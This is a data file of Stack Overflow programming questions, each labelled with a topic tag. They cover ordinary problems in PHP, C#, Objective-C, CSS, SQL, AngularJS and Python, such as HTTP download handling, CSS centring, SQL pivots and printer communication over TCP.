objective c - .m and .a files   i have a iphone project and i need to change some code in it. the problem is: this project doesn t have any .m file. i have all header files (.h) and some nib files. i found a .a( ) file and when i took a look in it  it had some code inside  aparently it s some kind of compilated file. is there any way to de-compile this file     regards!,objective-c
handle internet connection lost during file download using http  i am using the following code to download a file from http server:   <pre><code>        int bytessize = 0;         // a buffer for storing and writing the data retrieved from the server         byte[] downbuffer = new byte[4096];         bool exceptionoccured = false;         try         {             // create a request to the file we are downloading             webrequest = (httpwebrequest)webrequest.create(url);             webrequest.timeout = 60000;             webrequest.readwritetimeout = system.threading.timeout.infinite;              // set default authentication for retrieving the file             webrequest.usedefaultcredentials = true;              // retrieve the response from the server             webresponse = (httpwebresponse)webrequest.getresponse();              // ask the server for the file size and store it             int64 filesize = webresponse.contentlength;              // open the url for download              strresponse = webresponse.getresponsestream();              // create a new file stream where we will be saving the data (local drive)             strlocal = file.create(destfilepath);              // loop through the buffer until the buffer is empty             while ((bytessize = strresponse.read(downbuffer  0  downbuffer.length)) &gt; 0)             {                 strlocal.write(downbuffer  0  bytessize);             };         }         catch (webexception we)         {             exceptionoccured = true;              if (we.status == webexceptionstatus.nameresolutionfailure)             {                 isexceptionoccured = true;                 string errmsg =  download server threw a not found exception for the url:  +  \n  + url +  \nverify that the server is up and running. ;                 messagebox.show(errmsg   cadence download manager   messageboxbutton.ok  messageboximage.error);              }             else if (we.status == webexceptionstatus.timeout)             {                 isexceptionoccured = true;                 string errmsg =  download server threw timeout exception for the url:  +  \n  + url +  \nverify that the server is up and running. ;                 messagebox.show(errmsg   cadence download manager   messageboxbutton.ok  messageboximage.error);              }             else if (we.status == webexceptionstatus.protocolerror)             {                 isexceptionoccured = true;                 string errmsg =  download server threw timeout exception for the url:  +  \n  + url +  \nverify that the server is up and running. ;                 messagebox.show(errmsg   cadence download manager   messageboxbutton.ok  messageboximage.error);              }             else             {                 isexceptionoccured = true;                 string errmsg =  download server threw an unhandled exception for the url:  +  \n  + url;                 messagebox.show(errmsg   cadence download manager   messageboxbutton.ok  messageboximage.error);             }         }         catch (system.io.ioexception)         {             exceptionoccured = true;             string errmsg =  unable to read data from the download server for the url:  +  \n  + url +  \nverify that the server is up and running. ;             isexceptionoccured = true;         }         catch (exception)         {             exceptionoccured = true;             string errmsg =  unable to read data from the download server for the url:  +  \n  + url +  \nverify that the server is up and running. ;             isexceptionoccured = true;         } </code></pre>   the problem is that during download  when the internet connection goes off. the control is stuck in the while loop and it keeps reading and writing. it never throws any exception or any error message. i want to handle the case when internet connection breaks during download. what is missing or wrong here,c#
how to pass parameters php with  /   i was wondering how i could pass parameters to a php page like that : imagine that i have a page  user.php   and every users have a unique id in like 5 digits. so for example  for now i am writing  user id=01234  to access the user 01234 page  but i would like to write  user/01234   which looks nicer  i think...    any idea of how to do that       thanks !,html
optional parameters aren t truly optional  i would like to have <em>real</em> optional parameters in php. i realize that i can do something like this:   <pre><code>function my_function($req_var  $opt_var1 = 90  $opt_var2 =  lala ) {     die( weeeeeeee! ); } </code></pre>   however  if i want to only specify the value of <code>$opt_var2</code>  i still must specify a value for <code>$opt_var1</code>.    here s an example.   <pre><code>my_function( lala   90   omg ); </code></pre>   in other words  i have to explicitly write <code>90</code> as <code>$opt_var1</code> even though it s only <code>$opt_var2</code> that i want to change.    is it possible to do something like this    <pre><code>my_function( lala   default   omg ); </code></pre>   that would be so helpful.,php
how to find the last element in a foreach   this is what i am trying  using <a href= https://github.com/peratx/simplehtmldom/wiki/php-simple-html-dom-parser-manual  rel= nofollow noreferrer >simplehtmldom library</a>    <pre><code>  foreach($html-&gt;find( div[class= blogcontent] ) as $a) {     foreach($a-&gt;find( p ) as $elm) {       echo $elm-&gt;href .$elm-&gt;plaintext.  &lt;p&gt; ;       if($elm  -1) {        return;       }     }   } </code></pre>   i am trying to implement what their doc say:   <blockquote> <pre><code>&gt; // find lastest anchor  returns element object or null if not found &gt; (zero based) $ret = $html-&gt;find( a   -1);  </code></pre> </blockquote>   but i get:   <blockquote>    parse error: syntax error  unexpected      </blockquote>   i need to stop the loop and don t echo the last <code>p</code> that it finds,php
uiscroll view images form nsmutable array   for iphone  i tested local images in uiscroll view that worked but now i am doing somethng else    i have a string (from xml)having all 10 urls and then i defined a nsmutable array that holds them    now is it possible to extract images from that array and display them in uiscrollview,iphone
sql: how to create a table with a structured data type   i d like to know how can i create an sql table containing a column that will contain structured data  as:   <pre><code> create table mytable(  username varchar(20) not null   user_structured_data  here the type for structured data   ); </code></pre>   is there any way to do that  thanks.,sql
center (vertically and horizontally) using percentages. how to   i am looking to center a div both vertically and horizontally in the middle of a page. here is what i have tried and does work so far (only using pixels however)    html   <pre><code>&lt;head&gt;     &lt;title&gt;&lt;/title&gt;     &lt;link rel= stylesheet  type= text/css  href= css/login.css &gt; &lt;/head&gt; &lt;body&gt;     &lt;div class= center &gt;         &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod         tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam          quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo         consequat. duis aute irure dolor in reprehenderit in voluptate velit esse         cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non         proident  sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   css   <pre><code>.center {      height: 400px;     position: relative;     border: 3px solid green;  }  .center p {     margin: 0;     position: absolute;     top: 50%;     left: 50%;     transform: translate(-50%  -50%); } </code></pre>   this does work  however  whenever i change the 400px to 40% it won t and i don t understand why. i would really appreciate some help.    thanks!,css
uiscreen returns wrong value  <pre><code>nslog(@ -- %f %f  [uiscreen mainscreen].bounds.size.width [uiscreen    mainscreen].bounds.size.height); </code></pre>   is : <code>-- 320.000000 568.000000</code>   <code>-- 320.000000 480.000000</code> for <code>iphone 5 /4</code> respectively .    the app has all the <code>default</code> images needed . and its universal . (<code>default.png  default@2x.png  and default-568h@2x.png</code>  <code>480x320  960x640  and 1136x640</code> )    why i keep getting this wrong values   ( i have cleaned restart  ) .,objective-c
.net - using method extensions   is it possible to use the method extensions to add methods that accept parameters      for example:   <pre><code>mystring.numberofcharacters( a ); </code></pre>,.net
when does gc run   when does gc actally run  is it like it runs in a certain interval or when the application demand memory or what,.net
make a field s value fixed once assigned <pre><code>class a {      object obj;  } </code></pre>   say i have this class with the field obj. i want to make this field s value fixed  once assigned.    the problem is that i don t want to assign the value in the constructor thus i cannot make the field <code>final</code>. then it came up with me another solution:   <pre><code>class a {      object obj;      public void setobj(object obj) {         if (obj ==null)             this.obj = obj;     } } </code></pre>   i wonder if there is a better (more elegant) one.,java
how to prevent loading the same data over and over in angularjs  i have an object that contains some data that i need to load when my application starts. once its loaded i need to be able to reuse in multiple places on my application.    what is the best way to do this      right now i have a factory that i inject into my controller and i pull the data  the problem is that i m doing the data pull multiple times.    what would be the best way to pull the data only when i load the application  i would only need to access the data on my templates and pull the correct key value from the object where i need.,angularjs
how to retain selected item of ddl in php   i have three drop down lists and i need to retain selected item in ddl after form is submitted    e.g. when i click 09 in ddl and submit form then it should display 09 in ddl. pasting my code for your reference.           <pre><code>    echo &lt;option&gt; select day&lt;/option&gt; ; for ($i = 1; $i &lt;= 31; $i++) {         if($i&lt;10){     echo  &lt;option&gt; .str_pad($i 2  0  str_pad_left). &lt;/option&gt; ;          }             else{                 echo  &lt;option&gt; .$i. &lt;/option&gt; ;              }        }  &gt; </code></pre>,php
web search in an iphone app  i ve got experience in c/c++ and am trying to now learn objective-c for iphone development.  i have very little web design experience.    i m trying to create an app for a friend s site that accesses a search feature from a website and then display the results in a uitableview.  for example  (this isn t the site i ll be using  but...) using the stackoverflow search function and then being able to format the results (<a href= https://stackoverflow.com/search q=iphone+web+search >https://stackoverflow.com/search q=iphone+web+search</a>) in cells.  i d like to leave out the rest of the content on the page.    i ve only been able to find info about reading xml or rss search results.  otherwise  i could use uiwebview  but that displays the entire site.  are there other classes that i should look into for doing this   any help would be very  very much appreciated!,iphone
work with iphone camera  i am looking for anyone that can help create some source and a tutorial with me to answer how to create a  transparent  straight  line on iphone camera.    please   if anyone knows of a tutorial already then pls reply me.,iphone
border-box + padding + max-width = jumping elements   please have a look at these two fiddles:    <a href= http://jsfiddle.net/fw4dg/2/embedded/result/  rel= nofollow noreferrer >http://jsfiddle.net/fw4dg/2/embedded/result/</a>   <pre><code>&lt;style&gt;     .outer  .inner {         -moz-box-sizing: border-box;         -webkit-box-sizing: border-box;         box-sizing: border-box; }      .outer {         max-width: 600px;         border: 1px solid #0f0;         padding: 40px 10%; }      .inner {         border: 1px solid #f00; } &lt;/style&gt;  &lt;div class= outer &gt;     &lt;div class= inner &gt;         &lt;p&gt;watch the parent element s padding change when you narrow the viewport.&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   when you narrow the window past the edges of the exterior box  that box s horizontal padding suddenly shrinks  and remains at its new width even after widening the window again (webkit and gecko).    <a href= http://jsfiddle.net/fw4dg/1/embedded/result/  rel= nofollow noreferrer >http://jsfiddle.net/fw4dg/1/embedded/result/</a>    in another example  the second floated element clears the first floated element after the window is narrowed and widened again (webkit only):    <a href= http://jsfiddle.net/fw4dg/1/embedded/result/  rel= nofollow noreferrer >http://jsfiddle.net/fw4dg/1/embedded/result/</a>    this behavior is in both webkit (tested in safari 6.0.5 and chrome 29.0.1547.49 beta) and gecko (tested in firefox 23 beta 10). it happens with or without the borders.    if you narrow and widen the window repeatedly  you can get some pretty strange effects in safari:    <img src= https://i.stack.imgur.com/yxleh.png  alt= safari broken css rendering: max-width  border-box  and padding >    the closest bug report to this that i could find is in bugzilla  but doesn t seem to be describing quite the same thing:    <a href= https://bugzilla.mozilla.org/show_bug.cgi id=308801  rel= nofollow noreferrer >https://bugzilla.mozilla.org/show_bug.cgi id=308801</a>    is this a known issue,css
about provision apk and device_provisioned and notificationmanagerservice in android  i have a problem with the provision apk and the notificationmanagerservice on android froyo.    in notificationmanagerservice.java(frameworks/base/services/java/com/android/server/notificationmanagerservice.java)，i found the codes as below:   <pre><code>    // don t start allowing notifications until the setup wizard has run once.     // after that  including subsequent boots  init with notifications turned on.     // this works on the first boot because the setup wizard will toggle this     // flag at least once and we ll go back to 0 after that.     if (0 == settings.secure.getint(mcontext.getcontentresolver()                  settings.secure.device_provisioned  0)) {         mdisablednotifications = statusbarmanager.disable_notification_alerts;     } </code></pre>   in the construct method of notificationmanagerservice.    settings.secure.device_provisioned is set to be 1 in the provison apk  my  problem is that  in the first boot  notificationmanagerservice is constructed before the provison apk launched  so  mdisablednotifications will be set to statusbarmanager.disable_notification_alerts which will lead notification has no sounds  vibrate etc. even after the provison apk launched   settings.secure.device_provisioned is set to be 1  but how the mdisablednotifications  is set to 0    notificationmanagerservice will not be instanced again  and the only callback will change  mdisablenotifications is called from the statusbarservice  and i can not find anywhere invoked it after provision apk is launched.    can anyone give me some advices   thanks alot.    best regards  tiany,android
how do i change the asp.net membership provider in code   how do i change the asp.net membership provider in code  i need to override it for unit testing.,asp.net
filesecurity vs directorysecurity in the .net framework  can someone <strong>point out the specific differences between</strong> the <a href= http://msdn.microsoft.com/en-us/library/system.security.accesscontrol.directorysecurity.aspx  rel= nofollow >directorysecurity</a> and the <a href= http://msdn.microsoft.com/en-us/library/system.security.accesscontrol.filesecurity.aspx  rel= nofollow >filesecurity</a> classes.    i know they both are implementations of the abstract <a href= http://msdn.microsoft.com/en-us/library/system.security.accesscontrol.filesystemsecurity.aspx  rel= nofollow >filesystemsecurity</a> class but to what extent do they actually differ     as far as i can tell they are almost identical on the surface since they don t seem to be adding much in terms of public methods to the filesystemsecurity class but then there must be some subtle differences.    the main reason i m asking is because i d like to copy permissions from a directory to some other objects which includes both directories and files.,.net
filtering a nested ng-repeat: hide parents that don t have children  i want to make some kind of project list from a json file. the data structure (year  month  project) looks like this:   <pre><code>[{      name :  2013        months : [{          name :  may 2013            projects : [{              name :  2013-05-09 project a          }  {              name :  2013-05-14 project b          }  { ... }]     }  { ... }] }  { ... }] </code></pre>   i m displaying all data using a nested <code>ng-repeat</code> and make it searchable by a filter bound to the query from an input box.   <pre><code>&lt;input type= search  ng-model= query  placeholder= suchen...  /&gt;  &lt;div class= year  ng-repeat= year in data | orderby: name :true &gt;      &lt;h1&gt;{{year.name}}&lt;/h1&gt;      &lt;div class= month  ng-repeat= month in year.months | orderby:sortmonth:true &gt;          &lt;h3&gt;{{month.name}}&lt;/h3&gt;          &lt;div class= project  ng-repeat= project in month.projects | filter:query | orderby: name  &gt;             &lt;p&gt;{{project.name}}&lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   if i type  project b  now  all the empty parent elements are still visible. how can i hide them  i tried some <code>ng-show</code> tricks  but the main problem seems so be  that i don t have access to any information about the parents filtered state.    here is a fiddle to demonstrate my problem: <a href= http://jsfiddle.net/stekhn/y3ft0cwn/7/  rel= nofollow >http://jsfiddle.net/stekhn/y3ft0cwn/7/</a>,angularjs
drop down menu in mobiles  i have a drop down menu in my website and it s working fine in my laptop in any browser but there is a problem in mobiles and tables.    in laptop  when i hover the menu  it drop down automatic and when i remove the mouse the menu closes  and that s fine..    in mobiles and laptops  when i click on the menu  it drop down automatic and closes after 1 second  and this is the problem. i need the menu to keep open until i close it manual by clicking anywhere else!    what can i do in my css,css
passing data from a table view to another when clicking a row in objective-c  suppose i have a table view with 5 rows  each row have product name(uilabel)  product photo(uiimageview) and product price(uilabel).    when clicking a row  it will be changed to a uiview that showing the product name(uilabel)  product photo(uiimageview) and product price(uilabel)  plus a product description(uilabel).    i want to ask how to pass the data of product name  photos  price and description which is stored in <code>productlisttableview.m</code>  from this table view to another view <code>productdetailview</code>     ps: i guess i should write some code on method <code>didselectrowatindexpath</code>  but no idea...,objective-c
get  undefined symbols for architecture i386:  trying to get constants  i know that there are a lot of similar questions  bit i didn t find my case:    i have:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface bsconstants : nsobject  extern nsstring* const db_column_name; extern nsstring* const db_column_price; extern nsstring* const db_column_description; extern nsstring* const db_column_icon;      extern nsstring* const db_column_image;   @end  #import  bsconstants.h   @implementation bsconstants  nsstring* const db_column_name              = @ name ; nsstring* const db_column_price             = @ price ; nsstring* const db_column_description       = @ description ; nsstring* const db_column_icon              = @ icon ; nsstring* const db_column_image             = @ image ;  @end </code></pre>   and i when i try to build my project - i get:   <pre><code>undefined symbols for architecture i386:    _const_shopping_cart_purchase_max_size   referenced from:       -[bsshoppingcartviewcontroller onbuybuttonpressed:] in bsshoppingcartviewcontroller.o    _name_created_file   referenced from:       -[bsimagesaver saveimageaspng:] in bsimagesaver.o    _name_downloads_folder   referenced from:       -[bsimagesaver saveimageaspng:] in bsimagesaver.o ld: symbol(s) not found for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   <strong>try to access:</strong>   <pre><code>#import  bsconstants.h    ... db_column_name </code></pre>,ios
how to change the gender and name of the voice in pyttsx  i am using pyttsx for python 2.7.  i find that the original voice of pyttsx does not sound good.i am trying to change the gender and name of this voice. is there a way to do this  and how would i do this  any help is appreciated.,python
ios call directory extension can t enable my demo app  there is no enbale button .settings->phone->call blocking &amp; identification->enable the app. i run the same oc code to the iphone6 and iphone6p device.and the iphone6 is ok but the iphone6p has no button to enable my demo app.,ios
"the text on two columns is invisible in chrome  the text appears only in the first column  this is the example of code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div style= display:inline-block;-webkit-column-count:2;-moz-column-count:2;column-count:2;-webkit-column-gap:0;-moz-column-gap:0;column-gap:0;height:100;width:100%;background-color:red; &gt;
   &lt;div style= padding:10px;-webkit-column-count: 2 ; -moz-column-count: 2;column-count: 2;overflow:auto;display:inline-block;position:relative;height:auto;width:100%;background-color:#ffffff;border: 1px solid #000000; &gt;
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
   &lt;/div&gt;
 
   &lt;div style= padding:10px;-webkit-column-count: 2 ; -moz-column-count: 2;column-count: 2;overflow:auto;display:inline-block;position:relative;height:auto;width:100%;background-color:#ffffff;border: 1px solid #000000; &gt;
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
   &lt;/div&gt;
 
   &lt;div style= padding:10px;-webkit-column-count: 2 ; -moz-column-count: 2;column-count: 2;overflow:auto;display:inline-block;position:relative;height:100px;width:100%;background-color:#ffffff;border: 1px solid #000000; &gt;
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
   &lt;/div&gt;
 
   &lt;div style= padding:10px;-webkit-column-count: 2 ; -moz-column-count: 2;column-count: 2;overflow:auto;display:inline-block;position:relative;height:auto;width:100%;background-color:#ffffff;border: 1px solid #000000; &gt;
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
     &lt;br&gt;text-text-text-text-text-text-text-text-text-text-text-text-text-text-text-text
   &lt;/div&gt;</code></pre>
 </div>
 </div>",css
how do i get a value from a dictionnary format ( b   a ):value  i generated a dictionnary out of a table and it looks a bit like that :   <pre><code>d= { d    v ): -5  ( n    m ): -3  ( x    m ): -1  ( w    s ): -4       ( r    c ): -5  ( x    z ): -1  ( v    w ): -3  ( b    j ): -5       ( r    n ): -1  ( m    t ): -1  ( s    i ): -3  ( x    b ): -1       ( r    l ): -3  ( s    c ): -2  ( h    m ): -3  ( i    x ): -1       ( w    h ): -3  ( q    h ): 1  ( k    * ): -6  ( e    i ): -4       ( r    p ): -3  ( f    s ): -3  ( c    m ): -2  ( x    v ): -1       ( s    s ): 5  ( v    i ): 3  ( s    x ): -1  ( e    m ): -3       ( m    f ): -1  ( r    s ): -1  ( y    n ): -3} </code></pre>   two strings <code>s1= sacv  and s2= xscs </code>  i want to get the value for <code>( s   x )</code> how do i get the value doing <code>d[[s1[s]][s2[x]]]</code> i get     <blockquote>    typeerror: list indices must be integers  not str  </blockquote>   and doing <code>d[[s1[s]]+[s2[x]]]</code> i get    <blockquote>    typeerror: unhashable type:  list   </blockquote>,python
how to show day of the week in uidatepickermodedate for uidatepicker   is it possible to show day of the week in uidatepickermodedate just like uidatepickermodedateandtime. thanks in advance.    -joey,iphone
is there a better way to do this mysql statement   this mysql statement gets posts that have not been flagged by the user.    as it is now  i am getting the flagged post ids  and then not getting posts in that set of ids.   <pre><code>select * from posts where posts.id not in  (select p2.id from posts p2 left join flagged_posts  on flagged_posts.user_id =   where flagged_posts.post_id = p2.id) </code></pre>   i feel there is probably a better (faster) way to do this  for example with just one select and one join  but i am not sure,mysql
select distinct does not list first entry  select does  why   i have a strange issue with select distinct  when i use the following code:   <pre><code>select   t2.cited_pat_publn_id  t2.cited_publn_auth  t2.cited_publn_nr  t2.cited_publn_kind  t2.cited_appln_id  t2.cited_publn_date  t3.citing_pat_publn_id  t3.citing_publn_auth  t3.citing_publn_nr  t3.citing_publn_kind  t3.citing_appln_id  t3.citing_publn_date  from (tls211_pat_publn t0  albert_my_ipc t1  albert_my_cited t2  albert_my_citing t3)   where   t1.appln_id=t0.appln_id  and  t2.cited_pat_publn_id=t0.pat_publn_id  and  t3.citing_pat_publn_id=t2.citing_pat_publn_id and trim(t0.publn_nr)= 6174338    limit 1 5000 </code></pre>   i get all citing_pat_publn_ids i wanted...    but when i use select distinct the first id is not listed...    thank you for any suggestion!    result with only select(only posted here the first 4 rows..):   <pre><code>cited_pat_publn_id  cited_publn_auth    cited_publn_nr  cited_publn_kind        cited_appln_id  cited_publn_date    citing_pat_publn_id citing_publn_auth   citing_publn_nr citing_publn_kind   citing_appln_id citing_publn_date  62554677    us  6174338 b1  48980223    16.01.2001  59255528    us  8048557 b2  45960521    01.11.2011 62554677    us  6174338 b1  48980223    16.01.2001  59255528    us  8048557 b2  45960521    01.11.2011 62554677    us  6174338 b1  48980223    16.01.2001  59255528    us  8048557 b2  45960521    01.11.2011 62554677    us  6174338 b1  48980223    16.01.2001  59255528    us  8048557 b2  45960521    01.11.2011 </code></pre>   result with select distinct (only posted here the first 2rows  there are more):   <pre><code>cited_pat_publn_id  cited_publn_auth    cited_publn_nr  cited_publn_kind    cited_appln_id  cited_publn_date    citing_pat_publn_id citing_publn_auth   citing_publn_nr citing_publn_kind   citing_appln_id citing_publn_date 62554677    us  6174338 b1  48980223    16.01.2001  61120611    us  6844106 b2  47693584    18.01.2005 62554677    us  6174338 b1  48980223    16.01.2001  65427309    us  6517975 b1  51553339    11.02.2003 </code></pre>   there is no citing_pat_publn_id=45960521,mysql
available off-the-shelf .net frameworks  ok  i was just gathering some experience from gurus in <a href= https://stackoverflow.com/questions/1373599/in-house-frameworks-vs-new-c-technologies >this</a> post. i am still a student and an intermediate as well.    now the question is  what orm and business objects framework should i choose from off-the-shelf products available today(like linq  entity framework  csla.net  spring.net  nhibernate  enterprise lib) and why     should i go for open-source or proprietary     note : i am trying to learn one/more orm and business objects framework(s) for my future career.,.net
sql join multiple tables with pivot  i m trying to inner join 3 tables together with a pivot on the third table.  joining isn t an issue but pivot s are pretty new to me and combining them together has turned into a disaster.  i m not sure how to do the following:   <pre><code>    table 1 id  mnemonic    gender 1   skyl        f 2   hans        m      table 2 id  lastname    firstname 1   skywalker   leia 2   solo        han      table 3 id  query   response 1   a       red 1   b       green 1   c       blue 1   d       yellow 2   a       black 2   b       white 2   c       orange 2   d       purple                          final table id  mnemonic    gender  lastname    firstname   query_a     query_b 1   skyl        f       skywalker   leia        red         green 2   hans        m       solo        han         black       white </code></pre>   one area i know i m having issues is that i dont want all the  responses  from table 3  just when the  query  column is  a  or  b . i might end up creating 2 new tables to replace table 3  so i can get rid of the pivot all together and just inner join the 4 tables.    i followed along with <a href= https://stackoverflow.com/questions/17073134/sql-server-join-tables-and-pivot >sql server join tables and pivot</a> but could not get it to work with more than 2 tables with not all queries needed to be pivot ed.,sql
disable android soft keyboard in asp.net  i have a web app build in asp.net for our return goods.  the app works well but is about to much more complicated on the input side.  to ease this burden i want to use a bluetooth barcode scanner and an android tablet for input.  the app looks great when the onscreen keyboard is not visible.  the user needs to enter a quantity  change focus to the barcode input field and scan.  instead of using the onscreen kb i want to build a key pad on the app for the user and not have the onscreen kb pop up on when the qty or barcode fields get focus.    can this be done in html  javascript or c#,html
ajax-retrieved-value different in .load() and .on() alerts  i have this function to load data into <code>#container</code>  after clicking on the <code>li</code>.    <strong>html</strong>   <pre><code>&lt;li onclick= $(document).showposts(4) &gt;&lt;/li&gt; &lt;div class= more &gt;[show posts]&lt;/div&gt;     &lt;div id= container &gt;&lt;/div&gt; </code></pre>   <strong>jquery</strong>   <pre><code>jquery.fn.showposts = function(id_user) {   var total_posts=999999999;    $.ajax({      type:  post        url:  total_posts.php        data: {         id_user : id_user      }       success: function(data) {        var total_posts = data;      });      //load first group           $( #container ).load(url_load {id_user :id_user}      function(){ alert(total_posts); /*shows up 9999999;*/   });                      $( .more ).on( click   function(e) {        alert(total_posts); /*shows up retrieved by ajax - correct;*/      }    });  } </code></pre>   <strong>problem</strong>    the problem is that after the first load <code>.load()</code>  within the <code>load() function(){}</code> the alert shows up <code>total_posts as 9999999</code> (predefined value) when would have to be <code>the retrieved by ajax total_posts.php</code>    but in the <code>.on()</code> when clicking on <code>.more</code>  the alert shows up correctly the value of <code>total_posts</code>.    why does an alert shows up incorrect and correct values within the main function,jquery
getting the checked checkbox on ngrepeat angularjs  i am using ng-repeat in angularjs to display several checkboxes.    <pre><code>&lt;div class= checkbox  ng-repeat= subject in priceinformation.subjects &gt;    &lt;label&gt;        &lt;input type= checkbox  ng-model= priceinformation.subscriptioninfo.subject.name &gt; {{subject.name}}    &lt;/label&gt; &lt;/div&gt; </code></pre>   the problem is all the checkboxes are using the same model  hence if i check one  all are checked. i want to do it in a way that the model can resolve to different values. e.g.     <code>ng-model= priceinformation.subscriptioninfo.subject.{{subject.name}} </code>     <strong>{{subject.name}}</strong> should resolve to something like english  history etc  hence a different model for each checkbox. but  <code>ng-model= priceinformation.subscriptioninfo.subject.{{subject.name}} </code> is giving an error.     note: {{subject.name}} is resolving correctly used elsewhere  and  priceinformation.subscriptioninfo.subject  is working correctly.,angularjs
stuck in while loop using tcp client and streamreader  this method is freezing my gui and i don t understand why.    specifically it s getting stuck in <code>while ((feedback = reader.readline()) != null)</code>    i ve tried breaking out of the loop by checking reader.endofstream() with the same result. the printer is behaving as expected and printing the label  and the expected feedback is also being returned. it just sits in the loop  blinking a cursor in the console.    i can get rid of the loop  as i don t really need the feedback for this program  but i would still like to understand what s happening.     it s being called like this:   <pre><code>private void printbarcodebutton_click(object sender  routedeventargs e)     {         ...         code to get id and name         ...          messagetextblock.text =  printing barcode. ;          using (var printer = new barcodeprinter())         {             printer.printbarcode(employeeid  employeename);         }          messagetextblock.text =  barcode printed. ;     } </code></pre>   here is the method:   <pre><code>public void printbarcode(string employeeid  string employeename)     {         var projectfolder = directory.getparent(directory.getcurrentdirectory()).parent.fullname;         var printerscript = path.combine(projectfolder  @ printerscript.txt );          // printer ip address and communication port         string ipaddress =  10.1.10.23 ;         int port = 9100;          // fingerprint commands read from text and sent to printer         using (tcpclient client = new tcpclient())         {             client.connect(ipaddress  port);             using (var stream = client.getstream())             {                 // open the script file                 using (var file = new streamreader(printerscript))                 {                     // open a stream to get feedback from printer                     string feedback =  none yet ;                     using (var reader = new streamreader(stream))                     {                         // open stream to send commands to printer                         using (var writer = new streamwriter(stream))                         {                             string command  script = null;                             while ((command = file.readline()) != null)                             {                                 // send all non-empty lines in script                                  if (command != string.empty &amp;&amp; !command.contains( ** ))                                 {                                     command = command.replace( _employeeid_   employeeid);                                     command = command.replace( _employeename_   employeename);                                     script += command +  \n ;                                 }                             }                             writer.write(script);                             writer.flush();                              // display data sent back from printer (including echo of commands)                             while ((feedback = reader.readline()) != null)                             {                                 console.writeline(feedback);                                                                 }                         }                     }                 }             }         }     } </code></pre>,c#
system.net.webexception : remote name could not be resolved  in my code at line responsestream = response.getresponsestream(); i am getting an error remote name could not be resolved : . i searched and found that it is a proxy issue and we need to make some changes but i am unable to figure out as what to do to resolve this . i am hitting a webdev server on https.,.net
valueerror: dictionary update sequence element #6 has length 1; 2 is required  i have some python code meant to take some data and recreate a string from that data  but i m receiving an error.    <pre><code>def remove_cruft(s):      return s[1:-2]  import re  filetouse = input( what file would you like to use \n&gt;&gt;&gt; ) filetouse = filetouse +  .txt  f = open(filetouse  r ) lines = f.readlines() indexlist = lines[2] indexdict = lines[1]  indexdict = indexdict.split() indexdict.remove( [  ) indexdict.remove(  ] )  for item in indexdict:     if      in indexdict:         indexdict.remove(    )     if     in indexdict:         indexdict.remove(   )     if      in indexdict:         indexdict.remove(    )     if     in indexdict:         indexdict.remove(   )  indexdict = str(indexdict) indexdict = indexdict[1:-1] indexdict.replace(       )  dict(x.split( = ) for x in indexdict.split(   ))  print(indexlist) print(indexdict) newindexlist = remove_cruft(indexlist) newindexlist = re.findall(r [\w ]+|[. ! ;]   newindexlist) del newindexlist[1::2] print(newindexlist)  posindexdict = 0 finaloutput = []  print(finaloutput) </code></pre>   <strong>error:</strong>   <pre><code>traceback (most recent call last):   file  \\iota\controlledassessment\assess87\my documents\python\task 3\decompression v1.3.py   line 31  in &lt;module&gt;     dict(x.split( = ) for x in indexdict.split(   )) valueerror: dictionary update sequence element #6 has length 1; 2 is required </code></pre>,python
assigning a category to a product via has_many :through  what s the best way to allow a user to assign a category to a product s/he creates   right now i have the product and category models connected through an intermediary categorization model.    <strong>product.rb</strong>   <pre><code>class product &lt; activerecord::base   attr_accessible :description  :name    has_many :categorizations   has_many :categories  :through =&gt; :categorizations end </code></pre>   <strong>category.rb</strong>   <pre><code>class category &lt; activerecord::base   attr_accessible :name    has_many :categorizations   has_many :products  :through =&gt; :categorizations end </code></pre>   <strong>categorization.rb</strong>   <pre><code>class categorization &lt; activerecord::base   attr_accessible :category_id  :product_id  # should i leave these accessible     belongs_to :product   belongs_to :category end </code></pre>   i m ultimately trying to get it to work in the terminal as:   <pre><code>&gt; product = product.create(name:  product a   description:  product a description ) &gt; category.create(name:  cat a ) &gt; product.categories &gt; [] &gt; product.categories =  cat a  </code></pre>,ruby-on-rails
requirements for web development for iphone mac/windows   i am planning to make an iphone web application and i just wanted to know what is required for web development     can i do the web development on a windows machine  does apple provide any iphone plugin so that we can develop web application using windows     what is required for developing on a mac     regards     amit,iphone
how to extend a packaged enum  if i have a packaged enum like this:   <pre><code>typedef ns_enum(nsuinteger  type) {     typea      typeb      typec }; </code></pre>   how can i extend it to include a <code>typed</code>,objective-c
